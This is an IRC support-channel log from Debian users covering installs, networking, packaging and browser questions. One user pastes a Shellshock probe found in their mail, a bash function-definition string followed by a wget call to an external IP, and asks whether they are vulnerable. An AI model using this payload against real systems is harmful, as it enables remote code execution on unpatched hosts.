| 16:55.17 | tobiasBora | Because my wifi card isn't recognised |
| 16:55.37 | Devastator | what about netinst with firmware package? |
| 16:56.28 | Devastator | this one for example: http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/7.6.0/amd64/iso-cd/firmware-7.6.0-amd64-netinst.iso |
| 16:56.32 | tobiasBora | And nettinstall are really long no |
| 16:56.34 | tobiasBora | ? |
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| 16:57.48 | Devastator | tobiasBora what do you mean by long? the installation? |
| 16:57.54 | tobiasBora | Yes |
| 16:58.15 | tobiasBora | I remember a net install I made a while ago, I spend the whole night to install it |
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| 16:59.39 | tobiasBora | The version I have from the http download is good... |
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| 17:00.11 | tobiasBora | I'm sure the torrent has been hacked :P |
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| 17:02.11 | Okee | I am trying to read grey mail, but the options are to save an original message to the desktop, where I can then read it, instead of reading it by selecting it on the fly. I would like to be able to read it instead of saving it. Any idea of plugin that can do this? |
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| 17:03.19 | topi` | interesting history behind the UNIX split of /bin and /usr/bin etc |
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| 17:06.46 | arcke | is it enough for a client to have the latest openssl security to be safe from mitm attacks or is a non-updated server enough to compromise communication? |
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| 17:09.00 | unclezipper | arcke: Having the latest version is something I would always recommend |
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| 17:12.15 | wols | arcke: unclezipper is wrong. you need a version that has security support from debian and has the bugs, if any, patched. Getting the newest version is not a good idea for several reasons |
| 17:13.05 | unclezipper | The newest version that Debian repos offer, of course. Perhaps I should have been more specific |
| 17:13.08 | centrx | *latest/newest version in Debian |
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| 17:18.11 | karlpinc | I'm using fvwm4 and my pointer has turned into a plus with little arrows on the end. It does not seem to do anything but move. How can I get my mouse back? |
| 17:19.30 | karlpinc | (Can't even switch to a browser and google. Althgouh I suppose I could use lynx that's always painful.) |
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| 17:24.19 | tobiasBora | Devastator: The wifi card is recognized but the configuration of the network is hard (WPA/PSK on a compagny net), and the Ethernet card isn't recognized... But it's strange I need to configure ethernet even with the CD1... |
| 17:24.52 | Devastator | so you don't want netinst.. ok |
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| 17:37.00 | Okee | Anyone using Iron Browser in Debian? I wasn't able to use Chromium since Chromium has issues with the gmail voice plugin. Iron is a logical choice, but I don't see it in the repos. Linux 64 is supported with iron. |
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| 17:42.34 | lisca | Hi. suppose I have a "debianized" source tree of a package (containing a debian/ subtree). What's the most straightforward way to build, say, a Debian 5 package? |
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| 17:43.55 | d3lphi | hey all. I'd like to edit some text strings in a file called "/usr/share/locale/de/LC_MESSAGES/quota.mo" Can I edit such a file free with "vi" editor and save it? Or is that not a good idea ? (I'll do a backup of course) |
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| 17:45.30 | tobiasBora | Here is the card, is it normal if debian can't load it ? |
| 17:45.32 | tobiasBora | qualcomm atheros Killer E2200$ |
| 17:45.35 | heurist | d3lphi: if you back it up first then you can just try it and see if it works. However, the file will be replaced when you upgrade the package it belongs too. |
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| 17:45.58 | ksk | lisca: "dpkg-buildpackage" id guess, but there is real nice documentation about that on the debian wiki |
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| 17:46.48 | ksk | d3lphi: as thats a binary file, editing using vim could be difficult :> |
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| 17:48.06 | ksk | I would think there is a way to create and manage locales files, but i never tried that |
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| 17:48.30 | d3lphi | ksk: oh, that's why I asked. Because I looked into it, and I realized it's not a normal text file :) |
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| 17:48.58 | borw3 | I am thinking of trying debian but when I go to the download page I see things of 3gb+ isos, but how comes some basic OS like Ubuntu based of it are smaller? |
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| 17:49.47 | nkuttler | !tell borw3 about netinst |
| 17:50.28 | heurist | borw3: you only need the first DVD, or the first CD to install, you can also use the netinst and install anything you want via the web. there are also images that have Gnome (default) or KDE, or other DE choices. |
| 17:51.31 | d3lphi | damn.... it seems that the devs of the package "quota" have put the messages static in, so I am not able to edit the warn_message that is sent when soft-limit is reached. |
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| 17:52.01 | borw3 | Ooh, thanks. I have another question, is it true that some Ubuntu programs won't work on debian? I read it somewhere, bu I would like to clarify. Even if it means using the source to install the program |
| 17:52.04 | d3lphi | I could download the source and compile it from scratch, but that's more work to do. So I wonder if there's a more comfortable way |
| 17:52.37 | nkuttler | d3lphi: can you be more specific? |
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| 17:53.56 | freehck | hello everybody |
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| 17:53.57 | d3lphi | nkuttler: I am referring to the Debian package called "quota". You can define a soft-limit as quota. When this limit is reached, the particular user (+CC to admin) is notified by an email. The content of this email is not customizable through /etc/warnquota.conf (!) It seems that it was statically written in the source of the binary "quotacheck" |
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| 17:54.31 | freehck | I wonder where information about available packages is stored? |
| 17:54.34 | borw3 | Debian provides op performance compared to other distros based of it? is it ture? I read it somewhere |
| 17:54.46 | mtn | borw3: it is true some .debs that work in ubuntu will not install correctly in debian. most likely debian already has such a program in the repos, though. |
| 17:54.54 | freehck | I know that information about installed packages stored inf recfile /var/lib/dpkg/status |
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| 17:55.14 | freehck | But I'm looking one for all available packages. |
| 17:55.19 | freehck | *for one |
| 17:55.35 | d3lphi | nkuttler: I already downloaded the source, and I did find the message file under "./quota-4.00/po/de.po" which contains that particular email message template (english--to-->german translation). Of course I could edit that file and compile it, but that's more work that just editing a LC_MESSAGES file, if it would be possible :p |
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| 17:56.30 | heurist | freehck: tells us what you are actually trying to do and we might be able to help you. |
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| 17:57.32 | borw3 | Before I try on Debian, is it possible to sudo apt-get dist-upgrade or equivalent from terminal to update to future versions that may come out? |
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| 17:57.57 | freehck | heurist: I want to write a program that allow to build a dependency tree of every package. |
| 17:58.08 | mtn | borw3: if you mean go from one release to another without reinstalling, then yes, that is normal for debian. |
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| 17:58.18 | freehck | heurist: All available programs don't allow to fold/unfold dependencies. |
| 17:58.47 | lisca | ksk: that seems to require me to install the target system and the dependencies manually, is that correct? |
| 17:58.54 | borw3 | mtn: Time to shift. |
| 17:59.10 | heurist | freehck: something like debtree? but aptitude does allow that in the gui. |
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| 18:00.30 | freehck | heurist: no, aptitude allow to see the dependencies of a package, and then I can choose a package from that list and look its dependencies. But all the time only one package dependencies are on screen. |
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| 18:00.32 | lisca | hm, maybe pbuilder; but that does not seem very straightforward... |
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| 18:00.53 | freehck | heurist: But I want to see dependencies in a foldable list |
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| 18:01.03 | lisca | wishes for something not dissimilar to Fedora's mock command |
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| 18:01.25 | d3lphi | nkuttler: any idea? |
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| 18:02.05 | heurist | freehck: take a look at debtree, I can not promise that it will suite you. but it might be a start. what you propose sounds nice, make it work and I think a lot of people will want to use it. |
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| 18:02.31 | freehck | heurist: My view if this utility is so: you see a package, type Ret, and it unfolds a subtree. And each package in this subtree I can unfold the same way. |
| 18:02.50 | freehck | heurist: I know about debtree, but it's not what I'm looking for. |
| 18:02.55 | ksk | lisca: I dont know anything about locles, sorry |
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| 18:04.12 | freehck | heurist: One of the reasons why it doesn't match my purposes: it doesn't show if a dependency is soft or hard. |
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| 18:04.31 | nkuttler | d3lphi: no idea, never used that |
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| 18:04.47 | freehck | heurist: I want it to show (f.e. by color) that package is from recommends/suggests. |
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| 18:07.30 | Okee | any suggestions on how to extract and install iron-linux-64.tar.gz |
| 18:08.08 | freehck | Okee: how about `tar cxf iron-linux-64.tar.gz |
| 18:08.09 | freehck | 22:07 *** centrx QUIT Quit: The plan is programmed into every one of my one |
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| 18:08.14 | freehck | oops |
| 18:08.17 | freehck | sorry for flood |
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| 18:09.11 | freehck | Okee: tar xzf iron-linux-64.tar.gz |
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| 18:12.28 | freehck | Oh, I've found! It's /var/lib/apt/lists! =) |
| 18:14.28 | Okee | Has anyone run Iron browser in Debian? I unpacked it, but nothing comes up at the command line. |
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| 18:15.55 | jhutchins | Okee: Did you check for README files in the directory it created? |
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| 18:17.30 | Okee | jhutchins> There are no readme files in the folder. This is supposed to be a google Chrome substitute, which is slightly better than Chromium |
| 18:18.12 | Okee | Chrome has a few too many privacy concerns, so I am looking to abort. It works well with gmail, but has poor performance with shopping carts. |
| 18:18.37 | Okee | I have never tried Iron before, and only heard about it this morning for the first time. |
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| 18:23.46 | RayzrShrp | anybody know why this is showing up in my mutt' |
| 18:23.47 | RayzrShrp | Oct 16 { ( 2) () { :; };wget http://104.131.141.12:443/vul/162.243.39.64 |
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| 18:24.03 | RayzrShrp | that 104.131.141.12 goes to digital ocean who is my VPS host |
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| 18:33.09 | RayzrShrp | anybody know how i can determine if im vulnerable to shellshock? getting some weird emails in my mutt |
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| 18:34.06 | eikenb | https://shellshocker.net/ |
| 18:35.02 | CutMeOwnThroat | why that would show up in mutt stays a mystery, though |
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| 18:35.33 | CutMeOwnThroat | but /vul/ is maybe not the preferred string to see if you didn't put it there yourself |
| 18:35.36 | RayzrShrp | i think they're trying to use procmail as a vector |
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| 18:36.12 | CutMeOwnThroat | not unlikely... one of the example exploits were using that, I think |
| 18:36.18 | CutMeOwnThroat | the most scary one was dhcp, though |
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| 18:36.38 | RayzrShrp | im so tired of all these hacks and data breaches lately |
| 18:36.57 | CutMeOwnThroat | yach, well, just ignore them and you'll feel better |
| 18:37.04 | CutMeOwnThroat | j/k |
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| 18:38.41 | jhutchins | Okee: I'd be pretty suspicious of something that came in a tarball with no docs. |
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| 18:41.30 | mtn | Okee: especially for a theoretical advantage over a well supported package already in debian. |
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| 18:49.11 | Gforce | Hi.Recently sometimes I get disconnected from the internet.The DSL connection disappears from the network manager or what ever it name is(in tray).All I can do to reconncet is rebooting.Any idea? |
| 18:49.14 | Gforce | dmesg shows nothing unusual.this is syslog:http://paste.debian.net/127223/ |
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| 18:54.35 | fluoboa | Gforce, did you try without network manager? I mean using the config file at /etc/network/interfaces |
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| 18:55.00 | jhutchins | Is there a good source of documentation for systemd? |
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| 18:55.12 | dondelelcaro | jhutchins: the manpages for it are pretty good |
| 18:56.17 | dondelelcaro | jhutchins: and the wikipedia article isn't bad for a general overview of all of the parts, with links to the subparts |
| 18:56.19 | Gforce | fluoboa:what is that exactly?I get permission denied even with root user! |
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| 18:57.12 | fluoboa | Gforce, just to be clear, if you edit the file as root (with vi for example) you can't edit and save the file? |
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| 18:58.33 | Gforce | fluoboa:Ok.now there's no problem. |
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| 18:59.06 | Gforce | fluoboa:Now what should I do with that? |
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| 19:00.13 | Gforce | fluoboa:the problem is sometimes I have to leave my desk for about 6 hours.the internet should always be connected. |
| 19:00.43 | fluoboa | Gforce, you should edit the file and set the parameters for your device manually |
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| 19:01.05 | fluoboa | Gforce: and you should turn off the network manager |
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| 19:01.27 | Gforce | I don't even know what is this file!with this I will no longer use netManager? |
| 19:01.50 | Gforce | fluoboa:^ |
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| 19:02.27 | Gforce | I want to use network manager. |
| 19:02.57 | Gforce | I guess this happend after the last upgrade. |
| 19:03.13 | Gforce | maybe downgrading network manager can help?:/ |
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| 19:03.49 | cat_pants | Hi folks. I'm having an issue with nm-applet, version 0.9.8.4. The option "enable wifi" is grayed out, along with the option "enable networking" |
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| 19:04.09 | fluoboa | Gforce, that could help but I think you shouldn't do that... |
| 19:04.17 | Gforce | any one had any similar issue?(weezy) |
| 19:04.52 | Gforce | fluoboa:Is there any other way to fix this? |
| 19:05.54 | fluoboa | Gforce: I'm not sure but I think that network manager is requesting the termination of the connection |
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| 19:06.48 | Gforce | fluoboa:Any idea why?! |
| 19:07.08 | fluoboa | Gforce, there has to be a parameter where you can change this behaviour |
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| 19:07.54 | Gforce | <PROTECTED> |
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| 19:09.14 | Gforce | what is the program's name exactly?network-manager? |
| 19:09.17 | fluoboa | Gforce, you could start the network manager from the console and see if there is an errormessage when the program is closed |
| 19:09.58 | fluoboa | Gforce: nm or wicd I think, depends on what package you installed |
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| 19:10.24 | Gforce | fluoboa:aftrer that happens,I can see the network icon but to connection in tray. |
| 19:10.52 | Gforce | fluoboa:debian:~$ nm |
| 19:10.52 | Gforce | nm: 'a.out': No such file |
| 19:11.03 | Gforce | is it normal? |
| 19:13.16 | fluoboa | Gforce: yes, because the program name is different but I can't remember the right one |
| 19:13.27 | fluoboa | Gforce: sorry :) |
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| 19:13.39 | Gforce | fluoboa:No problem.:) |
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| 19:19.18 | Gforce | Can it be s.th wrong with ISP? |
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| 19:21.09 | fluoboa | Gforce: I got the name, it's nm-applet |
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| 19:21.47 | Gforce | fluoboa:thank you.:) |
| 19:22.01 | Gforce | Now I got 2 icons in tray!:| |
| 19:22.02 | heurist | jhutchins: have you see systemd's man bootup ? is it a work of art |
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| 19:22.21 | fluoboa | Gforce: close one :) |
| 19:22.46 | Gforce | fluoboa:^C? |
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| 19:26.04 | Gforce | Do you think downgrading can help?downgrade to which version? |
| 19:26.17 | Gforce | it's now: network-manager 0.9.4.0-10 |
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| 19:26.52 | mtn | ,v network-manager |
| 19:26.53 | judd | Package: network-manager on i386 -- squeeze: 0.8.1-6+squeeze2; squeeze-backports: 0.8.4.0-2~bpo60+1; wheezy: 0.9.4.0-10; jessie: 0.9.10.0-3; sid: 0.9.10.0-3 |
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| 19:28.01 | Gforce | <PROTECTED> |
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| 19:28.11 | Gforce | judd:So? |
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| 19:28.25 | mtn | Gforce: you could check out /var/cache/apt/archives to see if you have older version. |
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| 19:29.41 | Gforce | mtn:ls /var/cache/apt/archives | grep network returns nothing. |
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| 19:30.30 | mtn | Gforce: if you don't have network-manager in there, either you removed it or it did not get updated. |
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| 19:30.59 | Gforce | mtn:Yeah!good point! |
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| 19:31.39 | Gforce | I changed the connection type from PPPoE to bridge.Can it be the problem? |
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| 19:33.14 | mtn | Gforce: seems like it might be. |
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| 19:35.11 | Gforce | mtn:But what's wrong with it?!:/ |
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| 19:35.40 | mtn | Gforce: I don't know. did it work ok before you switched it to bridge? |
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| 19:36.59 | Gforce | mtn:yeah I guess so.I mean I'm not sure.sometimes got some issue but i think it was ISP's problem.it reconnected after a little. |
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| 19:37.47 | Gforce | mtn:I just don't get why the connection disappears in tray?! |
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| 19:38.31 | Gforce | mtn:did you see my syslog?http://paste.debian.net/127223/ |
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| 19:39.57 | mtn | Gforce: sorry, it is a bit beyond me |
| 19:40.15 | Gforce | mtn:Ok no problem.thank you. |
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| 19:45.59 | nkirsten | Hi guys, I was wondering how to limit the download speed from the perspective of an Apache2 server (under Debian Wheezy). I want to limit the speed on how fast people are uploading files to the server. I don't want to touch my Apache2's upload speed (how fast clients will load pages from the server). And also I don't want to compile anything on the server and use anything outside the standard debian2 repositories. |
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| 19:47.51 | nkirsten | as far as I know there are mod-bw and cband, but cband is not available in the debian repositories and mod-bw cannot limit upload or download speeds, it can limit the bandwidth in general which is not desirable. Thanks |
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| 19:50.36 | Okee | Well I found a .deb file for Iron, installed it, and came to the conclusion it is a complete scam, that operates invisibly in Linux. Not only did the internet menu option not work, but the directory structure of the installation, and its original installation file became completely invisible after installing. I ended up using the package manager for complete removal. A better option would be the Tor plugin for Firefox. And most of |
| 19:50.36 | Okee | Chrome's reporting features can be deactivated manually, so I find this project juvenile. |
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| 19:58.15 | otyugh | hey. I've got some sort of problem : there is a computer I want to reinstall. Though it don't seem to understand he can boot on the device. I disabled fastboot, I put the right boot order on USB... And the USB was flashed using "dd", so I don't expect problem from here. The processor support amd64 so it's okay too. I don't get it why he wouldn't boot on my usb stick. Any clue ? |
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| 19:58.39 | otyugh | *USB refers to my usb stick here >.> |
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| 20:08.03 | KTL | otyugh, maybe you wrote the wrong image, maybe you wrote the compressed version of the image, maybe the image is for a different architecture ... not sure either ... |
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| 20:08.31 | otyugh | KTL, sudo dd if=~/Téléchargements/debian-7.6.0-amd64-netinst.iso of=/dev/sdc bs=4M |
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| 20:08.43 | otyugh | and yes, /dev/sdc was my USB stick |
| 20:08.53 | otyugh | so it shouldn't be that |
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| 20:09.14 | otyugh | and yup, checked the architecture too :) |
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| 20:09.27 | jelly-home | otyugh: why did you not just cp ~/Téléchargements/debian-7.6.0-amd64-netinst.iso /dev/sdc ? |
| 20:09.43 | jelly-home | that's what the installation guide says |
| 20:09.44 | frostschutz | otyugh, not all usb sticks are bootable. you can verify the image though (cmp thing.iso /dev/thing; md5sum thing.iso; etc.) |
| 20:09.58 | frostschutz | otyugh, also, usbhubs and frontpanels can cause problems |
| 20:10.07 | KTL | otyugh, aaa the bios might have 2 things to be configured: a. enable boot from usb b. the boot order, usb on top, need both of them... |
| 20:10.43 | r3n1c0n | <PROTECTED> |
| 20:11.11 | r3n1c0n | sor for grammer |
| 20:11.15 | otyugh | I did not use any frontpanels. :o |
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| 20:11.43 | otyugh | and yes, USB is bootable, I did install trisquel today with the same usb :s |
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| 20:12.08 | otyugh | for "enable booting of USB" it could be it. Theses BIOS are all different T_T |
| 20:12.15 | KTL | (i take it that the iso is one of those hybrid bootable things) |
| 20:12.46 | otyugh | it's a netinstall from debian.org |
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| 20:16.09 | KTL | is out of guesses :D |
| 20:16.19 | otyugh | re |
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| 20:16.43 | otyugh | KTL, it was just that. Needed to ask to boot on the USB drive specifically |
| 20:16.51 | otyugh | boot order did not even matter in fact |
| 20:16.58 | KTL | jeey |
| 20:16.59 | otyugh | first time I meet this ^^' |
| 20:17.23 | otyugh | Thanks anyway, it was the way to go, I was desesperate :p |
| 20:17.40 | KTL | did something useful today |
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| 20:24.31 | afernandez_ | Hello how do make a script run when i open shell? |
| 20:25.07 | afernandez_ | this : |
| 20:25.08 | afernandez_ | #!/bin/sh |
| 20:25.10 | afernandez_ | echo "Hello Andres How are you today... today is `date`" | festival --tts |
| 20:25.27 | afernandez_ | I want that to run as soon as i open terminal |
| 20:25.32 | afernandez_ | thanks for your help |
| 20:25.39 | croddy | add it to your .bashrc or .bash_profile or similar |
| 20:25.55 | sysvalve | or .profile |
| 20:25.56 | afernandez_ | thanks |
| 20:26.04 | afernandez_ | i have .bashrc |
| 20:26.07 | afernandez_ | there? |
| 20:26.14 | croddy | if you are using bash it should work |
| 20:26.19 | afernandez_ | ok lets see |
| 20:26.22 | afernandez_ | thanks |
| 20:26.49 | afernandez_ | oops |
| 20:26.55 | afernandez_ | added like how? |
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| 20:27.08 | afernandez_ | exec welcome.sh/ that uis the name of the script |
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| 20:28.32 | afernandez_ | :) |
| 20:28.47 | afernandez_ | uhh it works but then kills the shell after finishing |
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| 20:31.15 | afernandez_ | croddy: it works , but as soon as it finishes it kills the terminal |
| 20:31.32 | afernandez_ | where should i put it so when it finishes the terminal works normal/ |
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| 20:32.26 | afernandez_ | sysvalve: ? |
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| 20:32.51 | sysvalve | afernandez_: what? |
| 20:32.52 | croddy | afernandez_: don't use 'exec' |
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| 20:32.58 | afernandez_ | oh ok |
| 20:33.01 | afernandez_ | sorry |
| 20:33.08 | afernandez_ | just put it at the end |
| 20:33.10 | afernandez_ | ? |
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| 20:33.19 | croddy | lol |
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| 20:34.20 | Gnomethrower | yo |
| 20:34.25 | Gnomethrower | can't seem to apt-get install default-jre |
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| 20:35.39 | heurist | dpkg: tell Gnomethrower -about bat |
| 20:36.15 | Gnomethrower | heurist: ? |
| 20:36.37 | heurist | Gnomethrower: see the message the bot sent you. give us the details we need to help you. |
| 20:36.42 | Gnomethrower | okay |
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| 20:39.06 | borw3 | I have a question is debian 6.0.10 fall in the LTS 6.0? |
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| 20:39.29 | Gnomethrower | http://paste.debian.net/127237/ |
| 20:39.56 | Gnomethrower | ( heurist ) |
| 20:40.14 | ompaul | borw3: in most cases most people here have not run 6.0 in a long time ask your question and lets see where we end up {NOTE ask channel as I am AFK for a bit} |
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| 20:41.26 | borw3 | I am asking if the new 6.0.10 is part of the LTS of Debian? |
| 20:41.33 | heurist | Gnomethrower: what does your /etc/apt/sources.list look like? |
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| 20:41.42 | Gnomethrower | heurist: sparse |
| 20:41.51 | GNU\colossus | Debian 6.0.10 is Debian Squeeze, which has an LTS repo available, yes |
| 20:42.05 | Gnomethrower | http://paste.debian.net/127239/ |
| 20:42.08 | GNU\colossus | you need to set up your sources.list for that to apply to your installation though |
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| 20:42.25 | heurist | borw3: #debian-lts on irc.oftc.net might be a better place to ask about lts. |
| 20:42.26 | sheap | if I have a package "sudouser" with a debconf question titled "question1" that prompts a dialog box where it takes user input as a string, how would I preseed that? |
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| 20:42.51 | sheap | because right now the installer stops and waits for the user input when the variable has already been passed to the preseed file |
| 20:42.55 | mtn | !tell Gnomethrower about wheezy sources.list |
| 20:43.02 | heurist | dpkg: tell Gnomethrower -about sources.list |
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| 20:43.38 | heurist | Gnomethrower: you are missing the needed lines for wheezy, you only have the security lines. see the bot's message for what it should look like. |
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| 20:45.49 | Gnomethrower | heurist and mtn: thanks, that solved the issues |
| 20:46.05 | mtn | Gnomethrower: :) |
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| 20:48.10 | sheap | would I have to change debconf to be noninteractive? |
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| 20:48.32 | heurist | sheap: dpkg-reconfigure debconf |
| 20:48.47 | sheap | heurist: but it's an install froma preseed |
| 20:49.17 | heurist | sheap: sorry, missing context. (: |
| 20:49.41 | sheap | heurist: np, "if I have a package "sudouser" with a debconf question titled "question1" that prompts a dialog box where it takes user input as a string, how would I preseed that?" |
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| 20:50.34 | JohnnyL | 512mb ram for debian is too little, correct? |
| 20:50.57 | croddy | it won't be fun, but it will run |
| 20:51.01 | JohnnyL | ok |
| 20:51.08 | heurist | JohnnyL: borderline, give it a lot of swap and you can do limited things with it. |
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| 20:51.42 | JohnnyL | i am opting out. the user i want to configure it for complains enough as it is. 512 mb, but he wants firefox. i am guessing 4 web pages max. |
| 20:52.03 | JohnnyL | oh wait, no it's 437mb. |
| 20:52.04 | heurist | JohnnyL: web browsers are heavy things. |
| 20:52.14 | croddy | oh firefox? no. |
| 20:52.17 | JohnnyL | heurist: yup! |
| 20:52.22 | JohnnyL | croddy: ha! :) |
| 20:52.34 | croddy | i would say the same about any browser, of course. |
| 20:52.43 | JohnnyL | croddy: agreed. |
| 20:52.52 | JohnnyL | thats what the people want though. |
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| 20:59.53 | jhutchins | lynx! |
| 21:00.01 | Windfisch | w3m! |
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| 21:09.27 | ksk | lynx! |
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| 21:10.38 | sheap | how do you send a variable in a preseed file? ${var} doesn't work... |
| 21:12.10 | freehck | sheap: what do you mean with "send"? Where? |
| 21:12.26 | freehck | sheap: do you mean "export var=..."? |
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| 21:13.16 | sheap | freehck: I have a variable called "sudouser" that gets passed to the preseed when it is called "sudouser=something", and then there's a custom package that takes a variable with debconf |
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| 21:13.54 | freehck | sheap: first of all, what language are you talking about? bash? |
| 21:14.10 | sheap | freehck: whichever the preseed uses? |
| 21:14.56 | freehck | sheap: I'm sorry, it's the language problem. I can't find the word "preseed" in a dictionary. |
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| 21:18.13 | freehck | sheap: oh, I got, you're about debian-installer. |
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| 21:18.21 | sheap | freehck: yep! |
| 21:18.42 | freehck | sorry, know nothing about it. |
| 21:19.47 | grzeslaw | Hi, I just installed postgrey and add it to postfix. email send from outside is greylisted so good, but what is weird, even it tries to send again, after 1minutes 5minutes or 10minutes. It still shows as greylisted in the queue... weird.. |
| 21:20.07 | grzeslaw | is there any addicional configuration which I can do ? any hints on that case.. |
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| 21:23.04 | akp | how can i list the contents for a package that i haven't installed yet |
| 21:23.07 | akp | is that possible? |
| 21:23.43 | tsam | akp: with apt-file |
| 21:24.11 | grzeslaw | akp: apt-file list $PKG_NAME |
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| 21:25.17 | galex-713 | How to mute the audio by cli? |
| 21:25.30 | galex-713 | And how to reset it as before it was mutted? |
| 21:25.55 | tsam | galex-713: aslamixer |
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| 21:27.13 | freehck | galex-713: amixer -c 0 sset Headphone mute |
| 21:27.36 | freehck | galex-713: it's just an example from my i3wm keybindings |
| 21:27.51 | galex-713 | Oh great! thanks ^^ |
| 21:28.04 | galex-713 | Oh, me too’s for i3wm |
| 21:28.12 | freehck | tsam: alsamixer is not cli, it's text-based, but not cli. |
| 21:28.31 | galex-713 | But not as a keybinding (even if it’s a simple and clever idea I should implement) but as to run each time I lock |
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| 21:29.58 | freehck | galex-713: I do not use i3 internal locker. I just use `dm-tool switch-to-greeter' for that purposes. |
| 21:30.14 | freehck | *these |
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| 21:30.38 | tsam | freehck: true |
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| 21:31.19 | freehck | tsam: btw, if you want to mute everything, mute master. ;) |
| 21:31.20 | galex-713 | freehck: what’s that? |
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| 22:07.54 | Guest50692 | CAN I FOUND Propellerhead Reason |
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| 22:10.22 | teraflops | ^ |
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| 22:13.30 | JohnnyL | I have a 440MB RAM Toshiba. I was thinking about running debian 1.0 and firefox 1.5 or something. what do you guys think? Mostly for web use. |
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| 22:13.53 | JohnnyL | Most of my thinks it's a good waste of time. |
| 22:13.58 | JohnnyL | s/my/me |
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| 22:14.02 | daemonkeeper | There is no 1.0, and if there was it would be 20 years old. |
| 22:14.09 | JohnnyL | daemonkeeper: lol! |
| 22:14.57 | daemonkeeper | You do not want a 20 years old system, letting alone you could probably not boot it on your system. |
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| 22:15.14 | heurist | JohnnyL: web browsers are heavy things. deja vu. |
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| 22:16.35 | teraflops | daemonkeeper: just use a WM not a DE and a light browser i think the X environent may be ~100 mb of ram but the web browser ... ewww |
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| 22:16.52 | daemonkeeper | You address the wrong one. |
| 22:17.09 | daemonkeeper | You don't need to tell me, that a semi-recent browser needs 400 MB just to start :p |
| 22:17.10 | teraflops | oh sorry daemonkeeper i meant JohnnyL |
| 22:17.28 | JohnnyL | heurist: ha! |
| 22:17.40 | daemonkeeper | But yeah, sure JohnnyL can install a modern Debian on 440 MB |
| 22:17.47 | daemonkeeper | Even including X |
| 22:17.54 | daemonkeeper | But the browser will hit the lights out |
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| 22:18.31 | JohnnyL | I tried a machine with 384MB and one of those small 'popcorn' linux systems and it grinded swap on more than 1 web pages. |
| 22:18.48 | JohnnyL | to be fair the popcorn linii were recent. |
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| 22:18.59 | JohnnyL | daemonkeeper: exactly |
| 22:19.10 | daemonkeeper | Yes, your browser is a memory dump if you insist on modern hipster cruft such as images and more than one tab :p |
| 22:19.22 | JohnnyL | it's funny because I had exactly 512mb in 2003 and was fine. |
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| 22:20.16 | JohnnyL | daemonkeeper: yeah, it's not for me. |
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| 22:20.39 | JohnnyL | i'd make use of it as a network analyzer. or use the usb and set it up as a firewall. |
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| 22:21.19 | civillian | can anyone recommend something like IOmeter for Linux? |
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| 22:22.24 | sheap | is it possible to pass an entire preseed line through the command line options? It's a custom package so I'm guessing it doesn't use the 'd-i' part, and in the preseed file here's what I have: "sudouser sudouser/question1 string", can I put that in the command line options? |
| 22:22.46 | sheap | or should I change |
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| 22:23.01 | sheap | "sudouser sudouser/question1 string" to "d-i sudouser/question1 string"? |
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| 22:23.12 | sheap | and then just user sudoser/question1=username in the command line options? |
| 22:23.38 | teraflops | JohnnyL: uhm luakit playin youtube xmonad mpd ncmccpd weechat some more stuff 450mb of ram ;p |
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| 22:27.09 | skaag | did something change with X11 in Jessie? |
| 22:27.24 | skaag | I used to startx in .bash_profile as a regular user, now it no longer works |
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| 22:28.46 | KTL | (when i started the kdm-service as root i also had issue, my wifi did not work due to issues with ... (?) the policy-manager(?) ) |
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| 22:29.50 | fiola | KTL: It's official policy that your wifi should not work. Didn't you get the memo? :P |
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| 22:31.18 | KTL | fiola, lol :) well it does now :) i really fixed my wifi by _deinstalling graphics drivers_ |
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| 22:31.45 | mwargh | lolwut |
| 22:31.52 | mwargh | how even... |
| 22:32.00 | fiola | "i really fixed my wifi by _deinstalling graphics drivers" --- awesome! :-)))) |
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| 22:32.30 | KTL | i had 2 sets of nvidia drivers :) and at boot the wrong one (legacy) was chosen, -> X did not start! so i had to start it manually -> i ran into the second bug, the one that cause my wifi to fail! |
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| 22:33.13 | KTL | so the second policy-bug is still there i guess, but it is not triggered |
| 22:33.13 | fiola | I think it may be a sad reflection on the current state of software, but it certainly makes for good comedy :-) |
| 22:33.16 | heurist | skaag: questions about jessie are better addressed to #debian-next on irc.oftc.net |
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| 22:36.24 | mutley89 | Not sure if I'm being thick, but the isos here should be bootable by virtualbox, yes? I get "no bootable medium found" |
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| 22:37.31 | heurist | mutley89: which ISOs exactly, the debian install ones are bootable by virtualbox if you attach them as the CDrom. |
| 22:37.34 | skaag | heurist: oh thanks, didn't know about that |
| 22:37.42 | KTL | the keyword is "hybrid iso" iirc |
| 22:38.18 | KTL | ahaa hybrid makes them bootable from usb ? and by default it is only by cd? right, ok, got confused. |
| 22:38.22 | mutley89 | Tried debian-testing-arm64-CD-1.iso and netinst |
| 22:38.35 | heurist | KTL: the hybrid part just means they work as USB media without modification. it does not affect the ability to boot them in a VM |
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| 22:39.10 | heurist | dpkg: tell mutley89 -about testing installer |
| 22:39.12 | mutley89 | Yeah, added them as CD/DVD device |
| 22:39.39 | mutley89 | tried other isos without changing anything else and boot fine |
| 22:39.40 | heurist | mutley89: the netinst should work fine. |
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| 22:39.56 | mutley89 | checked the MD5sum |
| 22:40.25 | heurist | mutley89: see the message the bot sent you though, the testing isos are not for installing testing. |
| 22:40.39 | fiola | Do the channel tags like "#debian-next" have an optional server field, so that one doesn't get the "Cannot join #debian-next (Channel is invite only)" on clicking them? Eg. something like #debian-next@irc.oftc.net |
| 22:40.51 | mutley89 | heurist: ah thanks |
| 22:41.08 | babilen | fiola: That channel is on irc.oftc.net with the rest of the official channels, yes. |
| 22:41.46 | heurist | fiola: unfortunately not. we constantly have to remind people about the different server. |
| 22:41.59 | fiola | babilen: I know, but I'm asking about the # tags that typically lead to a join option in IRC clients. |
| 22:42.15 | heurist | fiola: you can do a /topic #debian-next and it tells you. |
| 22:42.31 | mutley89 | Also, here, what is the difference between the different numbered versions? |
| 22:42.35 | fiola | Not what I'm asking :-) |
| 22:42.36 | mutley89 | http://cdimage.debian.org/debian-cd/7.6.0/amd64/iso-cd/ |
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| 22:43.18 | babilen | fiola: irc://irc.oftc.net/#debian-next would work, but then those factoids/topics are rather short and people tend to know how to use IRC. |
| 22:43.22 | heurist | fiola: not sure what you are asking then. you mean "why do all the channels have a # in front"? |
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| 22:44.18 | babilen | heurist: fiola presumably wants to use GUI IRC clients and connect to channels by right-clicking on them and choosing "connect" (or whatever the client offers) |
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| 22:45.13 | heurist | babilen: maybe but, as you said, the irc://... urls will handle sending them to the right server. so not sure how that is the question. (: |
| 22:45.14 | babilen | mutley89: The entirety of that set contains *all* packages in Debian |
